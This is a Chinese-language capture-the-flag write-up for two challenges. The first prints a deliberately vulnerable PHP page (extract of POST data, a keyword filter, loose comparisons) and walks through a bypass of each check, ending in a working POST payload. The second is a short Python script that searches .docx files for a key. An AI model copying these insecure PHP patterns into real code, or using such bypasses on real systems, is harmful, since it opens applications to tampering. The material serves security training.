两个关卡

关卡1:

  1. <?php
  2. header('Content-type:text/html;charset=utf-8');
  3. error_reporting(0);
  4. highlight_file(__file__);
  5. function filter($string){
  6. $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
  7. $filter_phrase= '/'.implode('|',$filter_word).'/';
  8. return preg_replace($filter_phrase,'',$string);
  9. }
  10. if($ppp){
  11. unset($ppp);
  12. }
  13. $ppp['number1'] = "1";
  14. $ppp['number2'] = "1";
  15. $ppp['nunber3'] = "1";
  16. $ppp['number4'] = '1';
  17. $ppp['number5'] = '1';
  18. extract($_POST);
  19. $num1 = filter($ppp['number1']);
  20. $num2 = filter($ppp['number2']);
  21. $num3 = filter($ppp['number3']);
  22. $num4 = filter($ppp['number4']);
  23. $num5 = filter($ppp['number5']);
  24. if(isset($num1) && is_numeric($num1)){
  25. die("非数字");
  26. }
  27. else{
  28. if($num1 > 1024){
  29. echo "第一层";
  30. if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
  31. echo "第二层";
  32. if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
  33. echo "第三层";
  34. if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
  35. echo "第四层";
  36. if(!isset($num5)||(strlen($num5)==0)) die("no");
  37. $b=json_decode(@$num5);
  38. if($y = $b === NULL){
  39. if($y === true){
  40. echo "第五层";
  41. include 'KeY1lhv.php';
  42. echo $KEY1;
  43. }
  44. }else{
  45. die("no");
  46. }
  47. }else{
  48. die("no");
  49. }
  50. }else{
  51. die("no");
  52. }
  53. }else{
  54. die("no");
  55. }
  56. }else{
  57. die("no111");
  58. }
  59. }

一步一步绕过即可

  1. if($num1 > 1024),数字加字符串绕过
  2. if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000),科学计数法
  3. if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)),爆破出满足条件的md5
  4. if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ),使用0000000即可,但是由于过滤,需要先在中间插入num之类的敏感字符,然后经过filter替换,000num0000->0000000
  5. $b=json_decode(@$num5);if($y = $b === NULL),传入随便一串字符:qqqqqq,感觉不是预期内的做法。。。

payload:

  1. ppp[number1]=1025aaa&ppp[number2]=1e6&ppp[number3]=61823470&ppp[number4]=000num0000&ppp[number5]=qqqqqq

关卡2:

写个脚本,一个一个搜就行了

  1. from docx import Document
  2. import os
  3. import base64
  4. for dirs, root, files in os.walk(r'D:\Download\five_month'):
  5. for file in files:
  6. if file.split('.')[-1]=='docx':
  7. p=os.path.join(dirs,file)
  8. d=Document(p)
  9. for para in d.paragraphs:
  10. try:
  11. if 'KEY' in para.text:
  12. print(para.text)
  13. except:
  14. pass